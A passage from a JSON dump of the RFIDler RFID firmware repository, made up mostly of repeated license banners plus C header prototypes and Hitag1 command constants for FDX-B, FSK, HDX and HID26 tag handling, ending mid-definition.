execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define FDXB_DATABITS       128\n\n\nBOOL fdxb_get_uid(BYTE *response);\nBOOL fdxb_hex_to_uid(BYTE *uid, BYTE *hex);\nBOOL fdxb_hex_to_bin(BYTE *response, BYTE *fdxb);\nBOOL uid_to_fdxb_bin(BYTE *bin, BYTE *uid);\nBOOL uid_to_fdxb_hex(BYTE *bin, BYTE *uid);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/fsk.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define FSK_TOLERANCE       40      // percentage tolerance for pulse widths\n\nBOOL send_fsk_hex(unsigned char *data, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat);\nBOOL send_fsk_bin(unsigned char *data, unsigned int length, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat);\nvoid write_FSK_HW_clock(unsigned long pulse, BYTE *data, unsigned int tpb, unsigned int t0, unsigned int t1, unsigned int repeat);\nBOOL fsk_raw_get_uid(BYTE *response, BOOL oneshot);\nBOOL fsk_raw_hex_to_uid(BYTE *response, BYTE *hex);\nunsigned int read_fsk_data(unsigned int period_us, unsigned int ticks, unsigned int t0_ticks, unsigned int t1_ticks, BYTE *data, unsigned int bits, BOOL invert, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format);\nBOOL read_FSK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us);\nBOOL fskbinarraytobinarray(unsigned char *target, unsigned char *source, unsigned int length, BOOL invert);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/hdx.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define HDX_DATABITS       112\n\n\nBOOL hdx_get_uid(BYTE *response);\nBOOL hdx_hex_to_uid(BYTE *uid, BYTE *hex);\nBOOL hdx_hex_to_bin(BYTE *response, BYTE *fdxb);\nBOOL uid_to_hdx_bin(BYTE *bin, BYTE *uid);\nBOOL uid_to_hdx_hex(BYTE *bin, BYTE *uid);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/hid.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define HID26_DATABITS      96\n\nBOOL hid26_hex_to_uid(unsigned char *response, unsigned char *hid26);\nBOOL bcd_to_hid26_bin(unsigned char *hid26, unsigned char *bcd);\nBOOL hid26_get_uid(BYTE *response);\nBOOL hid26_hex_to_uid(BYTE *response, BYTE *hex);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/hitag.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2017 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n// hitag1 commands\n#define HITAG1_SET_CC               \"00110\"         // get UID when in Anti-Collision mode\n#define HITAG1_SELECT               \"00000\"         // select tag for read/write\n#define HITAG1_WRPPAGE              \"1000\"          // write page plaintext mode (page is 32 bits, number 0-63)\n#define HITAG1_WRPBLK               \"1001\"          // write block plaintext mode (block is 4 pages)\n#define HITAG1_WRCPAGE              \"1010\"          // write page crypto mode\n#define HITAG1_WRCBLK               \"1011\"          // write block crypto mode\n#define HITAG1_RDPPAGE              \"1100\"          // read page plaintext mode\n#define HITAG1_RDPBLK               \"1101\"          // read block plaintext mode\n#define HITAG1_RDCPAGE              \"1110\"          // read page crypto mode\n#define HITAG1_RDCBLK               \"1111\"          // read block crypto mode\n#define HITAG1_HALT                 \"0111\"          // halt selected tag\n\n#define HITAG1_CRC_POLYNOM          0x1D\n#define HITAG1_CRC_PRESET           0xFF\n\n#define HITAG1_BLOCKSIZE            32              // read returns block sizes of 32, 64, 96 or 128 Bit, but we will only use 32\n#define HITAG1_MAX_COMMAND_LEN      46              // longest command as binstring, plus NULL\n#define HITAG1_DATABLOCKS           64              // total blocks\n#define HITAG1_CONFIG_BLOCK_NUM     1               // config block\n#define HITAG1_USER_DATA_BLOCK_NUM  4               // 1st user data block\n\n#define HITAG1_WRITE_DELAY          726             // time to complete write in FCs\n\n// hitag2 commands\n#define 